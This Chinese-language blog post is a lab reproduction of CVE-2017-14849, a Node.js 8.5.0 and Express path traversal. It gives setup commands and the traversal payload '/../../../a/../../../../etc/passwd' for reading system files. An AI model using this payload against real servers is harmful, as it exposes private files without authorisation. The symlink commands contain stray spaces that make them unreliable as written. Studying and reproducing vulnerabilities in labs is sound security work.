Node.js CVE-2017-14849 漏洞 浅谈Node.js CVE-2017-14849 漏洞分析（详细步骤）

0x00 前言

早上看Sec-news安全文摘的时候，发现腾讯安全应急响应中心发表了一篇文章，Node.js CVE-2017-14849 漏洞分析（https://security.tencent.com/index.php/blog/msg/121），然后想着复现，学习学习，就有了这篇文章。

0x01 漏洞简介

CVE(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849)上面的描述是这样的:

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.

换成我们看的懂的意思就是node.js 8.5.0 到8.6.0 之间的版本会造成目录穿越漏洞，读取任意文件，而漏洞的原因是因为对”..”的处理和另外的模块不兼容。

打个比喻就是有一个人开发这个模块，另外的一个人开发另外个模块，大家对于这个东西的处理不一样，从而导致出现了漏洞。而这里的模块就是node.js 和 express。

影响版本：

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

0x02 node.js是什么

Node.js® 是一个基于 Chrome V8 引擎的 JavaScript 运行时。 Node.js 使用高效、轻量级的事件驱动、非阻塞 I/O 模型。它的包生态系统，npm，是目前世界上最大的开源库生态系统。（抄从官网）

0x03 express是什么

Express是基于 Node.js 平台，快速、开放、极简的 web 开发框架。（同样抄从官网）

0x04 如何复现

下面采用腾讯云开发者实验室搭建环境进行快速复现。

复现准备：

0. 腾讯云开发者实验室的云主机一台 （我这里用的是《基于 Ubuntu 搭建微信小程序服务》的实验主机 ubuntu 16.04 64位）

1. node.js 8.5.0 （https://nodejs.org/download/release/v8.5.0/）

2. express-4.15.5 (https://github.com/expressjs/express/releases)

3. burpsuite

Step 1安装node.js 8.5.0

下载node.js 8.5.0安装包

wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz

解压安装包

tar -zxvf node-v8.5.0-linux-x64.tar.gz

移到通用软件安装目录/opt

mv node-v8.5.0-linux-x64 /opt/

安装 npm 和 node 命令到系统命令

sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node 
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm

验证一下:

node -v

输出版本号则表示配置成功

Step2 安装express-4.15.5

下载express-4.15.5

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz

解压压缩包

tar -zxvf 4.15.5.tar.gz

进入express目录下，安装express

cd express-4.15.5 && npm install

进入到expresss-4.15.5/examples/static-files目录里

node index.js

Step 3 发送payload验证

Payload: /../../../a/../../../../etc/passwd

0x05 漏洞原理分析

为什么payload会是这样的呢？请参考腾讯应急响应中心的那篇文章（https://security.tencent.com/index.php/blog/msg/121），写的很言简意赅。

（还不是因为自己菜，分析不出。。。。）

注意：该漏洞是建立在文件夹通过express.static 来托管的情况下，因为在这种情况下才会使用normalize函数进行path标准化。（发现来源于p神的分析）

比如代码这样写：

app.use(express.static(path.join(__dirname, 'static')));

那么payload应该是

/../../../a/../../../../etc/passwd

但代码如果是这样写的话：

app.use('/static',express.static(path.join(__dirname, 'static')));

那么payload应该为：

/static/../../../a/../../../../etc/passwd

0x06 后记

复现很简单，但分析原理很难。至少我现在还没弄明白。等我弄明白了，再写写怎么分析与跟踪吧。

其实这里有一个挺有意思的点，那就是一些重大漏洞的追踪问题，关于这个漏洞官方早在九月份就已经发布了说明，而这个问题是在最近才得到重视，很明显就算是腾讯也没有第一时间去跟踪CVE的更新列表。

而在腾讯发了这篇文章之后，P神把复现环境给弄到了vulhub（https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849），速度之快令人惊奇。然后再代码审计里面发了，在微博里面发了。再接着整个安全圈其实都知道了。

然后这里我们得出了一个结论，如果想要得到第一手漏洞预警与学习，应该时刻关注着CVE列表，努力做第一个吃螃蟹的人。